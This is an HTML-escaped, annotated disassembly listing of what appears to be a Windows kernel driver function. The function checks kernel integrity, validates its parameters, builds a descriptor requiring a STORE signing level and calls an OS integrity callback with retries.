&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081FF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_70&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008203&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008207&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memset&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000820C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000820E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SecIsKernelIntegrityEnabled&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008213&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008215&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0008221&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008217&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C00000BBh&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_NOT_SUPPORTED&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000821C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C00082C1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008221&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008224&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0008235&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008226&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008229&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0008235&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000822B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000000Dh&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008230&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C00082C1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008235&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008239&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jl&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0008242&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000823B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C00000EFh&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER_1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008240&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00082C1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008242&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008245&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0008253&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008247&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000824A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000825F&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000824C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C00000F0h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER_2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008251&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00082C1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008253&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008256&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000825F&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008258&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C00000F1h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER_3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000825D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00082C1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000825F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAreApcsDisabled&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008266&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000826B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000826D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0008217&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; APCs disabled -&amp;gt; STATUS_NOT_SUPPORTED&lt;/span&gt;
&lt;span class="c1"&gt;; ---- descriptor construction ----&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000826F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_70&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; Size = 0x40&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008277&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_68&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A000006h&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; required signing level, low byte 0x06 = STORE&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000827F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_60&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80000&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; flags&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008286&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_40&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; binding type&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000828A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_3C&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008291&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_38&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; object = a2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008295&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008298&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000829E&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000829A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_38&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; fallback object = a3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000829E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;qword_1C0007008&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; OS integrity callback fn pointer&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_70&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; &amp;amp;descriptor&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; CFG dispatch of qword_1C0007008&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082B3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000016h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_MORE_PROCESSING_REQUIRED ?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082B8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00082C1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082BA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082BC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082BF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000829E&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; retry up to 5 times&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082C1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082C5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082C8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;__security_check_cookie&lt;/span&gt;
